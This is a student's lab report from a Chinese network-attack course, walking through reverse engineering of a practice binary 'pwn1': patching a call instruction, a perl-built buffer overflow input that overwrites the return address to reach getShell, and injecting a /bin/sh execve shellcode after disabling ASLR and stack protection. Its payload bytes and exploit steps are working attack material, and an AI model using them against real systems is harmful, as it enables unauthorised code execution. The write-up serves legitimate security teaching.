Exp1 PC平台逆向破解 20164302 王一帆

 

1 逆向及Bof基础实践说明

1.1 实践目标

本次实践的对象是一个名为pwn1的linux可执行文件。

该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

本次实验的三个实践内容如下:

  • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。

  • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。

  • 注入一个自己制作的shellcode并运行这段shellcode。

这几种思路,基本代表现实情况中的攻击目标:

  • 运行原本不可访问的代码片段

  • 强行修改程序执行流

  • 以及注入运行任意代码

1.2 基础知识

该实践需要我们掌握的一些内容

1.2.1 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码

      NOP指令:“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。

      JNE指令:条件转移指令(等同于“Jump Not Equal”),如果不相等则跳转。

      JE指令:条件转移指令,如果相等则跳转。

      JMP指令:无条件跳转指令。无条件跳转指令可转到内存中任何程序段。转移地址可在指令中给出,也可以在寄存器中给出,或在存储器中指出。

      CMP指令:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响       的标志寄存器位来得知比较结果。

1.2.2 掌握反汇编与十六进制编程器

objdump反汇编命令:

objdump -f test    //显示test的文件头信息
objdump -d test    //反汇编test中的需要执行指令的那些section
objdump -D test    //与-d类似,但反汇编test中的所有section
objdump -h test    //显示test的Section Header信息
objdump -x test    //显示test的全部Header信息
objdump -s test    //除了显示test的全部Header信息,还显示他们对应的十六进制文件代码    

xxd命令:

用vi命令打开一个文件,在vi命令模式下输入
:%!xxd            //回车后,该文件会以十六进制形式显示
:%!xxd -r         //参数-r是指将当前的十六进制转换

1.2.3 机器指令

       CPU能直接识别并执行的指令,它的表现形式是二进制编码。机器指令通常由操作码操作数两部分组成,操作码指出该指令所要完成的操作,即指令的功能,操作数指出参与运算的对象,以及运算结果所存放的位置等。

1.2.4 gdb常用命令

(gdb)help:查看命令帮助,具体命令查询在gdb中输入help + 命令,简写h;

(gdb)run:重新开始运行文件(run-text:加载文本文件,run-bin:加载二进制文件),简写r;

(gdb)info:查看函数内部局部变量的数值,简写i;

(gdb)continue:继续运行,简写c;

(gbd)quit:退出gdb。

2 直接修改程序机器指令,改变程序执行流程

知识要求:Call指令,EIP寄存器,指令跳转的偏移计算,补码,反汇编指令objdump,十六进制编辑工具

学习目标:理解可执行文件与机器指令

进阶:掌握ELF文件格式,掌握动态技术

2.1 下载是否会和目标文件pwn1,反汇编。

将文件pwn1复制到Desktop,使用mv重命名为20164302,执行命令 objdump -d 20164302

查找main、foo、getShell函数

红色矩形框中 "call 8048491"是汇编指令,是说这条指令将调用位于地址8048491处的foo函数;其对应机器指令为“e8 d7ffffff”,e8即跳转之意。

按正常流程来说,此时此刻EIP的值应该是下条指令的地址,即80484ba,但如一解释e8这条指令呢,CPU就会转而执行 “EIP + d7ffffff”这个位置的指令。“d7ffffff”是补码,表示-41,41=0x29,80484ba +d7ffffff= 80484ba-0x29正好是8048491这个值,main函数调用foo,对应机器指令为“e8 d7ffffff”,那让它调用getShell,只要修改“d7ffffff”为,"getShell-80484ba"对应的补码就行。用Windows计算器,直接7d-4ba就能得到补码,是c3ffffff。下面修改可执行文件,将其中的call指令的目标地址由d7ffffff变为c3ffffff。

2.2 修改可执行文件,将其中的call指令的目标地址由d7ffffff变为c3ffffff

vi编辑pwn1文件,按ESC键,之后输入 :%!xxd ,将显示模式切换为16进制模式

找到需要修改的内容 /e8d7

将移动光标到“d7”,敲击r键,输入要改动的字符“c3"

输入 :%!xxd -r ,从16进制转换为原格式

输入 :wq 存盘并推出

2.3 查看修改情况并运行程序

再输入 objdump -d 20164302 | more ,反汇编一下文件,查看main函数是否正确调用getShell函数

运行修改后的文件,得到shell

 3 通过构造输入参数,造成BOF攻击,改变程序执行流

       计算机对接收的输入数据没有进行有效的检测,如果向缓冲区内填充数据时超过了缓冲区本身的容量,就会导致数据溢出到被分配空间之外的内存空间,从而破坏程序的堆栈,造成程序崩溃或使程序转而执行其它指令,以达到攻击的目的。此实验是通过构造含有getShell函数地址的字符串,造成缓冲区溢出,让getShell函数的地址恰好溢出到EIP,达到调用shell的目的。

3.1通过手动输入不同长度的字符串判断是否覆盖到返回地址

因为实验1中已对pwn1进行了修改,所以将原文件再复制一次,并重命名为wyf20164302

由图可知,当输入到28bit时,会产生溢出。

输入 gdb wyf20164302 ,在gdb内输入指令  r  执行文件,并输入48bit的字符串进行测试

输入 info r 命令查看当前寄存器状态,发现EIP寄存器被0x35353535覆盖,即当前返回地址为5555,这就说明刚刚输入测试字符串中5的部分溢出到了EIP中

 

为了准备判断字符串中的溢出位置,将字符串中的“55555555”替换为“12345678”,继续测试,观察具体是哪个位置溢出到了EIP寄存器中

发现“1234”这四个数最终会覆盖到堆栈上的返回地址,进而CPU会尝试运行这个位置的代码。那只要把这四个字符修改为 getShell 的内存地址,输给pwn1,pwn1就会运行getShell。

getShell的内存地址,通过反汇编时可以看到,即0804847d,这里要注意地址要倒序输入,(代码中的顺序应为:\x7d\x84\04\08)。

通过perl构建输入文件

perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input

这里的" \x0a "表示" 回车 "

可以使用16进制查看指令xxd查看input文件的内容是否如预期

将input的输入,通过管道符“|”,作为文件的输入 (cat input; cat) | ./wyf20164302 ,最后,获得shell

4. 注入Shellcode并执行

4.1 准备工作

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80

这是实验指导中给出的shellcode。

shellcode就是一段机器指令,通常这段机器指令的目的是为获取一个交互式的shell。在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。

4.2 修改配置

若提示找不到execstack命令,先输入命令 apt-get install execstack 进行安装

root@kali:~/Desktop# execstack -s pwn1                    //设置堆栈可执行
root@kali:~/Desktop# execstack -q pwn1                    //查询文件的堆栈是否可执行
X pwn1
root@kali:~/Desktop# more /proc/sys/kernel/randomize_va_space
2
root@kali:~/Desktop# echo "0" > /proc/sys/kernel/randomize_va_space  //关闭地址随机化
root@kali:~/Desktop# more /proc/sys/kernel/randomize_va_space
0
root@kali:~/Desktop#

4.3 构造要注入的payload

     Linux下有两种基本构造攻击buf的方法:

  • retaddr+nop+shellcode(恶意代码小于缓冲区大小)
  • nop+shellcode+retaddr(恶意代码大于缓冲区大小)

 4.3.1 构造32个字符“A”,其后为retaddr + nop + shellcode

perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

接下来需要确定返回地址(即/x4/x3/x2/x1)需要填什么,输入 (cat input_shellcode;cat) | ./pwn1 

注意:这里只需要按一次回车,否则就会

4.3.2 再开另外一个终端,用gdb来调试pwn1这个进程

ps -ef | grep pwn1    //找到pwn1的进程号

gdb             //启动gdb调试这个进程

attach 4613        //gdb关联pwn1这个进程,开始调试

disassemble foo      //通过设置断点,来查看注入buf的内存地址

break *0x080484ae    //在另外一个终端中按下回车

c              //continue

(写博客的时候才发现,这里没有截到attach 4613,【捂脸】)

通过 info r esp 查看esp寄存器,找到01020304,即返回地址,shellcode就在该地址之后,首地址为0xffffd37c,因此,0x90909090的地址即为,0xffffd37c+4字节=0xffffd380

将/x4/x3/x2/x1置为/x80/xd3/xff/xff即可(这里也要注意倒序),如图获得shell

5 实验收获与感想

       这是网络对抗这门课程的第一个实验作业,刚知道作业的时候,我看看实验指导和之前学长学姐的博客,发现根本搞不懂原理,周二上完课之后,老师讲了实验原理,但是我还是有不太清楚的地方,就先摸索着做,过程中遇到了许多问题,除了自己在实验原理上理解障碍,还有文件夹无法共享、网络无法连接、软件包无法更新等突发问题,特别感谢我们小组组长给予的帮助,不进帮助我解决了kali存在的问题,还讲解了一些实验原理,使我在做实验过程中少走了很多弯路。通过实验我对课堂上讲的原理有了进一步的了解,说明实践队学习的掌握还是有很大的帮助,我在理解实验原理方面还有欠缺,之后会努力加强。

    我认为漏洞是程序员在设计程序时,没有全面考虑到安全问题而出现的缺陷,让攻击者有机可乘,但是,我觉得漏洞是不可能在设计之初就被完全杜绝的。漏洞危害是攻击者利用发现的漏洞,通过一些技术手段,对程序、系统、文件等进行非正常的访问、操作等,进而间接造成信息泄露、经济损失等各方面、各种各样的不利影响和损失。

posted @ 2019-03-17 01:49  王一帆  阅读(176)  评论(0编辑  收藏